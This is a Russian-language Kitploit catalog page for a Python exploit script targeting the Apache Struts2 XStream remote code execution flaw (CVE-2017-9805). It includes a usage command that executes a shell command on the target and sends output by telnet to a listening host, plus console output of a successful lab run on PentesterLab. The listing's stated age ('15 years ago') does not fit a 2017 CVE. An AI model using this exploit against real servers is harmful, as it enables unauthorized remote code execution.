Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
-CVE-2017-9805- — Эксплойт-скрипт для Apache Struts2 REST Plugin XStream RCE (‎CVE-2017-9805) | Kitploit
Инструменты/GitHubGitHub/jongmartinez/-cve-2017-9805-
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеИнструмент Удаленного Доступа
GitHubjongmartinez/-cve-2017-9805-

-CVE-2017-9805-

Эксплойт-скрипт для Apache Struts2 REST Plugin XStream RCE (‎CVE-2017-9805)

Репозиторий
15 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Информация об уязвимости

Ресурсы: * https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9805

Что это?

Скрипт эксплойта на Python, способный выполнять удаленные команды в оболочке системы, где работает Struts2, уязвимый к S2-052.

Использование

python s2-052.py --target 'http://192.168.0.233/orders/3' --command "echo pwned | telnet 192.168.0.122 1234"

root@kitploit:~
[*] Apache Struts XStream REST vulnerability - S2-052
[*] Creating payload ...
[*] Exploit packet has 2582 bytes.
[*] Sending exploit packet ...
[+] Exploit packet has been sent.
root@kitploit:~
listening on [any] 1234 ...
connect to [192.168.0.122] from vulnerable.lan [192.168.0.233] 55791
pwned

Протестировано на уязвимой машине pentesterlab для упражнения s2-052.

Скачать инструмент